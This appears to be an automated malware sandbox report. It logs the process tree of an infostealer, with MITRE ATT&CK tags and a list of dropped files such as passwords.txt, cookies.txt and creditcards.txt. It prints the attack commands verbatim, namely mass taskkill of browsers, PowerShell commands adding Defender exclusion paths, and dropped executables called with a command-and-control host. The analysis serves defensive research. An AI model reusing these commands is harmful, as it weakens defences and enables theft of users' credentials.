C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=5356,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=3760 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5568,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5560,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=6084,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6088,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6592,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:146⤵
- NTFS ADS
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6872,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=6844 /prefetch:146⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.execookie_exporter.exe --cookie-json=11287⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6928,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6928,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:146⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM browser.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM epic.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM epic.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM javaw.exe /F6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\DataCache\xlqh59'""3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\DataCache\xlqh59'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cscript.execscript.exe /nologo C:\Users\Admin\AppData\Local\Temp\run_1760021877062_w9a0gefix.vbs3⤵
-
C:\Users\Admin\AppData\Local\DataCache\xlqh59\level_db.exe"C:\Users\Admin\AppData\Local\DataCache\xlqh59\level_db.exe" "57B80F5F7C63" "3kyh9kntiomknv89.iloveanimals.shop"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppCache\tcjgyu'""3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppCache\tcjgyu'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cscript.execscript.exe /nologo C:\Users\Admin\AppData\Local\Temp\run_1760021881750_jpfu82pjt.vbs3⤵
-
C:\Users\Admin\AppData\Local\AppCache\tcjgyu\game_cache.exe"C:\Users\Admin\AppData\Local\AppCache\tcjgyu\game_cache.exe" "57B80F5F7C63" "3kyh9kntiomknv89.iloveanimals.shop"4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"5⤵
-
C:\Windows\System32\reg.exeC:\Windows\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid6⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat C:\Users\Admin\AppData\Local\Temp\202599-1984-dcxtme.s5tsc.png5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\Admin\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESECDC.tmp" "c:\Users\Admin\AppData\Local\Temp\screenCapture\CSCDAC12A9982B34D36B399DCE915EDC9E4.TMP"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exescreenCapture_1.3.2.exe C:\Users\Admin\AppData\Local\Temp\202599-1984-dcxtme.s5tsc.png6⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 075D5B4F81A8C9A3F3C08277B758C263 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Obfuscated Files or Information
1Command Obfuscation
1System Binary Proxy Execution
1Msiexec
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
e587451.rbs
chrome_100_percent.pak
chrome_200_percent.pak
d3dcompiler_47.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
en-US.pak
resources.pak
app.asar
v8_context_snapshot.bin
vk_swiftshader.dll
Calveroth.lnk
Calveroth.lnk~RFe587f9b.TMP
node.napi.node
node_sqlite3.node
sqlite3-binding.js
sqlite3.js
trace.js
package.json
cache.exe
save_data.exe
level_db.exe.br
manifest.json
Cookies.query
SCT Auditing Pending Reports
CURRENT
MANIFEST-000001
Local State
powershell.exe.log
blocklist
settings.dat
settings.dat
SiteList-Enterprise.json
Edge Profile.ico
HubApps
the-real-index
the-real-index~RFe58f642.TMP
sync_diagnostic.log
Local State
Local State
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
cookies.txt
cookies.txt
cookies.txt:Zone.Identifier
BrowserData_1760021889310.zip
MSI2E7D.tmp
__PSScriptPolicyTest_22t5eitk.vzb.ps1
all-files.zip
cache.json
autofills.txt
cookies.txt
creditcards.txt
passwords.txt
Firefox_Data.zip
run_1760021867687_ht4ixnto1.vbs
run_1760021872093_gsgmkgjdd.vbs
run_1760021877062_w9a0gefix.vbs
run_1760021881750_jpfu82pjt.vbs
startup.vbs
error.log
error.log
error.log
metadata-2
{ead261c5-7401-4acc-bbc1-3bb4ea4c329c}_OnDiskSnapshotProp
memory/228-260-0x000001F248530000-0x000001F248580000-memory.dmp
memory/568-293-0x00000213A9E20000-0x00000213A9E70000-memory.dmp
memory/756-258-0x000001FFCDBB0000-0x000001FFCDC00000-memory.dmp
memory/776-331-0x0000026C089A0000-0x0000026C089F0000-memory.dmp
memory/988-243-0x00000275DB7B0000-0x00000275DB800000-memory.dmp
memory/1060-275-0x000001C874920000-0x000001C874970000-memory.dmp
memory/1168-285-0x00000152E02F0000-0x00000152E0340000-memory.dmp
memory/1328-729-0x0000023F725B0000-0x0000023F72600000-memory.dmp
memory/1348-135-0x000001C0869B0000-0x000001C0869D2000-memory.dmp
memory/1400-289-0x000001D9534B0000-0x000001D953500000-memory.dmp
memory/1476-257-0x000002C4AFDD0000-0x000002C4AFE20000-memory.dmp
memory/1620-287-0x0000020681420000-0x0000020681470000-memory.dmp
memory/1864-294-0x000002C3C2EC0000-0x000002C3C2F10000-memory.dmp
memory/2188-731-0x0000018C606B0000-0x0000018C60700000-memory.dmp
memory/3160-271-0x0000013D46C90000-0x0000013D46CE0000-memory.dmp
memory/3184-303-0x000001ECDE490000-0x000001ECDE4E0000-memory.dmp
memory/3224-477-0x0000000000850000-0x000000000085A000-memory.dmp
memory/3388-760-0x00000129CDDB0000-0x00000129CDE00000-memory.dmp
memory/3616-288-0x00000197CBF60000-0x00000197CBFB0000-memory.dmp
memory/3652-272-0x00000203CE450000-0x00000203CE4A0000-memory.dmp
memory/3660-341-0x00000220E4C50000-0x00000220E4CA0000-memory.dmp
memory/3724-259-0x00000228736E0000-0x0000022873730000-memory.dmp
memory/4148-738-0x000002591B320000-0x000002591B370000-memory.dmp
memory/4404-300-0x000001AD7B5A0000-0x000001AD7B5F0000-memory.dmp
memory/4484-273-0x0000028BEFE40000-0x0000028BEFE90000-memory.dmp
memory/4628-185-0x0000028987970000-0x00000289879D7000-memory.dmp
memory/4712-291-0x000002106E4E0000-0x000002106E530000-memory.dmp
memory/4792-388-0x000001E45E5E0000-0x000001E45E630000-memory.dmp
memory/4836-332-0x00000220502A0000-0x00000220502F0000-memory.dmp
memory/4848-274-0x000001E1982A0000-0x000001E1982F0000-memory.dmp
memory/4968-746-0x000001E1163C0000-0x000001E116878000-memory.dmp
memory/4968-269-0x000001E1163C0000-0x000001E116878000-memory.dmp
memory/6180-730-0x000001F7F3940000-0x000001F7F3990000-memory.dmp
memory/6292-598-0x000001E874750000-0x000001E8747A0000-memory.dmp
memory/6376-732-0x00000131648B0000-0x0000013164900000-memory.dmp
memory/6388-733-0x0000016A470A0000-0x0000016A470F0000-memory.dmp
memory/6400-742-0x00000289F1D90000-0x00000289F1DE0000-memory.dmp
memory/6420-637-0x0000027C70F60000-0x0000027C70FB0000-memory.dmp
memory/6488-739-0x00000176B1D70000-0x00000176B1DC0000-memory.dmp
memory/6544-740-0x00000236F4080000-0x00000236F40D0000-memory.dmp
memory/6580-741-0x0000019BA41F0000-0x0000019BA4240000-memory.dmp
memory/6640-743-0x000002C0CF9F0000-0x000002C0CFA40000-memory.dmp
memory/6680-744-0x000001CD45D00000-0x000001CD45D50000-memory.dmp
memory/7144-728-0x000001BC348A0000-0x000001BC348F0000-memory.dmp